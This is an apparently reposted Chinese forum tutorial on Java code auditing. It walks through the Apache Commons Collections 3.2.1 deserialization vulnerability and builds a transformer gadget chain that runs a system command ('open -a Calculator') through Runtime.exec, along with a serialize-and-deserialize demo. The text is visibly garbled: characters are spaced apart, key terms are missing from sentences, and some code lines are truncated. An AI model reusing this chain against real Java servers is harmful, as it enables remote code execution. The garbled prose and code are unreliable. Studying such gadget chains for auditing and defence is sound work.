搜索

[26723] 2021-05-08_Java代码审计系列第二课实际案例讲解ApacheCommonsCollections反序列化漏洞

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-05-08_Java代码审计系列第二课实际案例讲解ApacheCommonsCollections反序列化漏洞 J a v a 代 码 审 计 系 列 第 二 课   实 际 案 例 讲 解 A p a c h e   C o m m o n s   C o l l e c t i o n s 反 序 列 化 漏 洞 风 炫 安 全   m o o n s e c   2 0 2 1 - 0 5 - 0 8 简 述 简 述 是 的 组 件 ， 它 们 是 从 派 生 而 来 的 ， 并 为 J a v a 语 言 提 供 了 组 件 体 系 结 构 。 试 图 通 过 提 供 新 的 接 口 ， 实 现 和 实 用 程 序 来 构 建 J D K 类 。 包 应 该 是 J a v a 中 使 用 最 广 发 的 工 具 包 ， 很 多 框 架 都 依 赖 于 这 组 工 具 包 中 的 一 部 分 ， 它 提 供 了 我 们 常 用 的 一 些 编 程 需 要 ， 但 是 J D K 没 能 提 供 的 机 能 ， 最 大 化 的 减 少 重 复 代 码 的 编 写 。 2 0 1 5 年 1 1 月 6 日 F o x G l o v e   S e c u r i t y 安 全 团 队 的 发 布 了 一 篇 长 博 客 ， 阐 述 了 利 用 J a v a 反 序 列 化 和 这 一 基 础 类 库 实 现 远 程 命 令 执 行 的 真 实 案 例 ， 各 大 J a v a   W e b   S e r v e r 纷 纷 躺 枪 ， 这 个 漏 洞 横 扫 W e b L o g i c 、 W e b S p h e r e 、 J B o s s 、 J e n k i n s 、 O p e n N M S 的 最 新 版 。 要 了 解 这 一 节 课 的 知 识 需 要 提 前 学 习 我 们 第 一 节 课 的 反 射 知 识   J a v a 代 码 审 计 系 列 第 一 课 代 码 审 计 系 列 第 一 课   反 射 机 制 反 射 机 制 搭 建 环 境 搭 建 环 境 官 方 在 漏 洞 第 一 时 间 就 已 经 修 补 了 漏 洞 ， 所 以 有 漏 洞 的 版 本 是 > = 3 . 2 . 1 的 ， 配 置 好 m a v e n ， 就 会 自 动 下 载 下 来 。 打 开 依 赖 包 ， 看 到 A p a c h e   C o m m o n s   C o l l e c t i o n s A p a c h e   C o m m o n s J a v a   A P I C o m m o n s - C o l l e c t i o n s A p a c h e   C o m m o n s @ b r e e n m a c h i n e A p a c h e   C o m m o n s   C o l l e c t i o n s A p a c h e   C o m m o n s   C o l l e c t i o n s < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m m o n s - c o l l e c t i o n s / c o m m o n s - c o l l e c t i o n s   - - > < d e p e n d e n c y >         < g r o u p I d > c o m m o n s - c o l l e c t i o n s < / g r o u p I d >         < a r t i f a c t I d > c o m m o n s - c o l l e c t i o n s < / a r t i f a c t I d >         < v e r s i o n > 3 . 2 . 1 < / v e r s i o n > < / d e p e n d e n c y >
打 开 这 个 文 件 。 漏 洞 分 析 漏 洞 分 析 漏 洞 成 因 漏 洞 成 因 上 节 课 我 们 说 过 ， j a v a 的 反 射 可 以 动 态 的 调 用 类 和 类 里 面 的 方 法 ， 用 就 是 类 似 如 下 代 码 而 中 的 第 5 4 行 的 方 法 / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / I n v o k e r T r a n s f o r m e r . c l a s s   C l a s s   c l a s s 1   =   C l a s s . f o r N a m e ( r e q . g e t P a r a m e t e r ( " c l a s s N a m e " ) ) ;   c l a s s 1 . g e t M e t h o d ( r e q . g e t P a r a m e t e r ( " m e t h o d N a m e " ) ) . i n v o k e ( c l a s s 1 . n e w I n s t a n c e ( ) ) ; I n v o k e r T r a n s f o r m e r . c l a s s t r a n s f o r m
可 以 看 到 方 法 利 用 J a v a 的 反 射 机 制 进 行 任 意 方 法 调 用 。 参 数 是 传 入 的 一 个 实 例 化 对 象 ， 反 射 调 用 的 是 其 方 法 。 就 很 直 接 的 调 用 了 J a v a 中 的 反 射 机 制 去 实 例 化 对 象 ！ 不 过 值 得 注 意 的 是 ， 仅 仅 是 这 里 是 不 能 够 命 令 执 行 的 ， 因 为 J a v a 不 像 P H P 那 样 是 面 向 过 程 的 编 程 ， 不 能 直 接 执 行 类 似 , 之 类 的 函 数 ， J a v a 是 一 门 面 向 对 象 的 语 言 ， 所 谓 万 物 皆 对 象 ， 没 有 对 象 n e w 一 个 。 执 行 操 作 的 时 候 ， 需 要 对 象 对 象 - > 方 法 方 法 ， 或 者 类 类 - > 静 态 方 法 静 态 方 法 ，   最 常 用 的 就 是 ， 因 此 ， 光 凭 这 个 反 射 还 是 不 能 造 成 命 令 执 行 漏 洞 的 ， 需 要 调 用 到 这 个 方 法 ， 并 且 将 调 用 的 结 果 作 为 下 一 次 的 输 入 。 t r a n s f o r m i n p u t   C l a s s   c l s   =   i n p u t . g e t C l a s s ( ) ;   M e t h o d   m e t h o d   =   c l s . g e t M e t h o d ( t h i s . i M e t h o d N a m e ,   t h i s . i P a r a m T y p e s ) ;   r e t u r n   m e t h o d . i n v o k e ( i n p u t ,   t h i s . i A r g s ) ; s y s t e m s h e l l _ e x e c j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) t r a n s f o r m
找 调 用 链 找 调 用 链 所 以 ， 我 们 得 继 续 翻 这 个 包 ， 看 看 有 没 有 满 足 我 们 条 件 的 方 法 。 直 到 找 到 这 个 文 件 可 以 看 到 这 里 的 实 现 了 这 个 接 口 ， 重 写 了 方 法 ， 并 在 里 面 遍 历 所 有 重 写 接 口 的 对 象 ， 调 用 其 的 方 法 然 后 返 回 个 , 返 回 的 继 续 进 入 循 环 , 成 为 下 一 次 调 用 的 参 数 , 那 我 们 怎 么 通 过 这 里 来 执 行 命 令 呢 ？ 构 造 构 造 P a y l o a d / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / C h a i n e d T r a n s f o r m e r . c l a s s p u b l i c   c l a s s   C h a i n e d T r a n s f o r m e r   i m p l e m e n t s   T r a n s f o r m e r ,   S e r i a l i z a b l e   {         p r i v a t e   s t a t i c   f i n a l   l o n g   s e r i a l V e r s i o n U I D   =   3 5 1 4 9 4 5 0 7 4 7 3 3 1 6 0 1 9 6 L ;         p r i v a t e   f i n a l   T r a n s f o r m e r [ ]   i T r a n s f o r m e r s ;       / /   . . . .   其 他 不 重 要 的 代 码 省 略         p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   o b j e c t )   {                 f o r ( i n t   i   =   0 ;   i   <   t h i s . i T r a n s f o r m e r s . l e n g t h ;   + + i )   {                         o b j e c t   =   t h i s . i T r a n s f o r m e r s [ i ] . t r a n s f o r m ( o b j e c t ) ;                 }                 r e t u r n   o b j e c t ;         } } t r a n s f o r m T r a n s f o r m e r t r a n s f o r m T r a n s f o r m e r t r a n s f o r m o b j e c t o b j e c t
结 合 可 以 构 造 出 ： 这 里 的 会 带 入 到 中 的 I n v o k e r T r a n s f o r m e r p a c k a g e   c o m . e v a l s h e l l . m a i n ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; p u b l i c   c l a s s   H e l l o C o n t r o l l e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ] {                                 n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ] { S t r i n g . c l a s s } ,   n e w   O b j e c t [ ] { " o p e n   - a   C a l c u l a t o r " } ) } ;                 T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;                 t r a n s f o r m e r C h a i n . t r a n s f o r m ( R u n t i m e . g e t R u n t i m e ( ) ) ;           } } R u n t i m e . g e t R u n t i m e ( ) I n v o k e r T r a n s f o r m e r t r a n s f o r m
,   此 时 里 面 c l s 就 是 , 所 以 第 一 个 参 数 就 应 当 为 ； 而 方 法 的 签 名 为 ， 我 们 实 际 用 的 时 候 也 只 传 入 了 一 个 S t r i n g ， 所 以 第 二 个 参 数 应 当 写 为 ， 第 三 个 参 数 则 为 调 用 时 候 实 际 传 入 的 参 数 ， 所 以 应 当 为 就 可 以 了 。 这 个 就 是 我 们 传 进 去 的 参 数 ,   后 面 就 是 我 们 穿 的 S t r i n g 类 型 的 数 组 , 这 样 一 条 完 整 的 利 用 链 就 完 成 了 。 但 是 这 里 实 例 化 后 的 对 象 不 允 许 序 列 化 ， 所 以 不 能 直 接 传 入 实 例 化 的 对 象 。 所 以 我 们 需 要 在 中 利 用 反 射 回 调 出 。 t r a n s f o r m R u n t i m e . g e t R u n t i m e ( ) c l s . g e t M e t h o d ( t h i s . i M e t h o d N a m e ,   t h i s . i P a r a m T y p e s ) ; g e t M e t h o d g e t M e t h o d g e t M e t h o d ( S t r i n g ,   C l a s s . . . ) n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s } g e t M e t h o d n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ] } t h i s . i M e t h o d N a m e e x e c " o p e n   - a   C a l c u l a t o r " R u n t i m e t r a n s f o r m s I n v o k e r T r a n s f o r m e r R u n t i m e . g e t R u n t i m e ( )
整 个 调 用 链 是 现 在 反 序 列 化 后 就 可 以 这 样 触 发 命 令 执 行 ， 但 是 一 般 也 没 有 这 样 的 代 码 ， 我 们 还 需 要 继 续 构 造 。 反 序 列 化 利 用 反 序 列 化 利 用 到 目 前 为 止 ， 我 们 已 经 构 造 出 了 可 以 执 行 命 令 的 恶 意 c h a i n ， 姑 且 称 之 为 基 于 P o c 的 验 证 利 用 链 。 现 在 只 要 找 到 一 个 符 合 以 下 条 件 的 类 ， 满 足 以 下 条 件 ， 并 且 服 务 端 有 反 序 列 化 的 入 口 ， 就 可 以 R C E 了 ： 1 .   该 类 重 写 了 方 法 ； 2 .   该 类 在 方 法 中 操 作 了 我 们 序 列 化 后 实 现 了 的 ； 这 样 的 操 作 , 我 们 可 以 在 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   {                         / / 传 入 R u n t i m e 类                         n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                         / / 反 射 调 用 g e t M e t h o d 方 法 ， 然 后 g e t M e t h o d 方 法 再 反 射 调 用 g e t R u n t i m e 方 法 ， 返 回 R u n t i m e . g e t R u n t i m e ( ) 方 法                         n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,                                         n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,                                         n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) ,                         / / 反 射 调 用 i n v o k e 方 法 ， 然 后 反 射 执 行 R u n t i m e . g e t R u n t i m e ( ) 方 法 ， 返 回 R u n t i m e 实 例 化 对 象                         n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,                                         n e w   C l a s s [ ]   { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,                                         n e w   O b j e c t [ ]   { n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,                         / / 反 射 调 用 e x e c 方 法                         n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,                                         n e w   C l a s s [ ]   { S t r i n g . c l a s s   } ,                                         n e w   O b j e c t [ ]   { " o p e n   - a   C a l c u l a t o r " } )         } ; T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ; ( ( R u n t i m e )   R u n t i m e . c l a s s . g e t M e t h o d ( " g e t R u n t i m e " ) . i n v o k e ( ) ) . e x e c ( " o p e n   - a   C a l c u l a t o r " ) o b j . t r a n s f o r m ( " 随 意 输 入 " ) ; r e a d O b j e c t r e a d O b j e c t p o c C h a i n T r a n s f o r m e d M a p / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / C o n s t a n t T r a n s f o r m e r . c l a s s
找 到 因 为 在 中 , 调 用 t r a n s f o r m 方 法 时 不 管 输 入 什 么 都 不 会 影 响 返 回 , 所 以 , 随 意 输 入 即 可 。 那 么 能 否 直 接 这 样 构 造 进 行 序 列 化 呢 , 编 写 代 码 试 试 ,   编 写 一 个 序 列 化 的 d e m o / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / C o n s t a n t T r a n s f o r m e r . c l a s s C o n s t a n t T r a n s f o r m e r p a c k a g e   c o m . e v a l s h e l l . m a i n ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   H e l l o C o n t r o l l e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   {                                 n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                                 n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ] {   S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s } ,   n e w   O b j e c t [ ] { " g e t R u n t i m e "                                 n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ] {   O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s } ,   n e w   O b j e c t [ ] {   n u l l   , n e w   O b j e c t [                                 n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,                                                 n e w   C l a s s [ ]   { S t r i n g . c l a s s   } ,                                                 n e w   O b j e c t [ ]   { " o p e n   - a   C a l c u l a t o r " } )                 } ;                 T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   P o c T r a n s f o r m e r ( t r a n s f o r m e r s ) ;                           / / 序 列 化 对 象                 t r y {
                t r y {                         F i l e   f     =   n e w   F i l e ( " f _ u _ c _ k _ o b j e c t " ) ;                         O b j e c t O u t p u t S t r e a m   o u t p u t S t r e a m   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( f ) ) ;                         o u t p u t S t r e a m . w r i t e O b j e c t ( t r a n s f o r m e r C h a i n ) ;                         o u t p u t S t r e a m . f l u s h ( ) ;                         o u t p u t S t r e a m . c l o s e ( ) ;                 } c a t c h   ( I O E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 }         / / 反 序 列 化 对 象                 t r y   {                         F i l e   f   =   n e w   F i l e ( " f _ u _ c _ k _ o b j e c t " ) ;                         O b j e c t I n p u t S t r e a m   o b j e c t I n p u t S t r e a m   =   n e w   O b j e c t I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( f ) ) ;                         T r a n s f o r m e r   f _ u _ c _ k _ o b j e c t   =   ( T r a n s f o r m e r )   o b j e c t I n p u t S t r e a m . r e a d O b j e c t ( ) ;                         f _ u _ c _ k _ o b j e c t . t r a n s f o r m ( " f e n g u x a n " ) ;   / / 这 里 可 以 填 写 任 意 值                         S y s t e m . o u t . p r i n t l n ( f _ u _ c _ k _ o b j e c t . g e t C l a s s ( ) ) ;                 } c a t c h   ( F i l e N o t F o u n d E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 } c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 } c a t c h   ( I O E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 }         } } c l a s s   P o c T r a n s f o r m e r   i m p l e m e n t s   T r a n s f o r m e r ,   S e r i a l i z a b l e {         p r i v a t e   f i n a l   T r a n s f o r m e r [ ]   i T r a n s f o r m e r s ;         P o c T r a n s f o r m e r ( T r a n s f o r m e r [ ]   i T r a n s f o r m e r s )   {                 t h i s . i T r a n s f o r m e r s   =   i T r a n s f o r m e r s ;         }         @ O v e r r i d e         p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   o b j e c t )   {                 f o r ( i n t   i   =   0 ;   i   <   t h i s . i T r a n s f o r m e r s . l e n g t h ;   + + i )   {                         S y s t e m . o u t . p r i n t l n ( o b j e c t . g e t C l a s s ( ) ) ;                         o b j e c t   =   t h i s . i T r a n s f o r m e r s [ i ] . t r a n s f o r m ( o b j e c t ) ;                 }
后 续 的 攻 击 链 就 不 是 我 们 本 节 课 的 重 点 了 ， 大 家 可 以 自 己 去 看 下 参 考 链 接 参 考 参 考 h t t p s : / / x z . a l i y u n . c o m / t / 4 5 5 8 # t o c - 0   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 2 9 3 4   h t t p s : / / p 0 s e c . n e t / i n d e x . p h p / a r c h i v e s / 1 2 1 / h t t p s : / / s e c u r i t y . t e n c e n t . c o m / i n d e x . p h p / b l o g / m s g / 9 7                 }                 r e t u r n   o b j e c t ;         } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理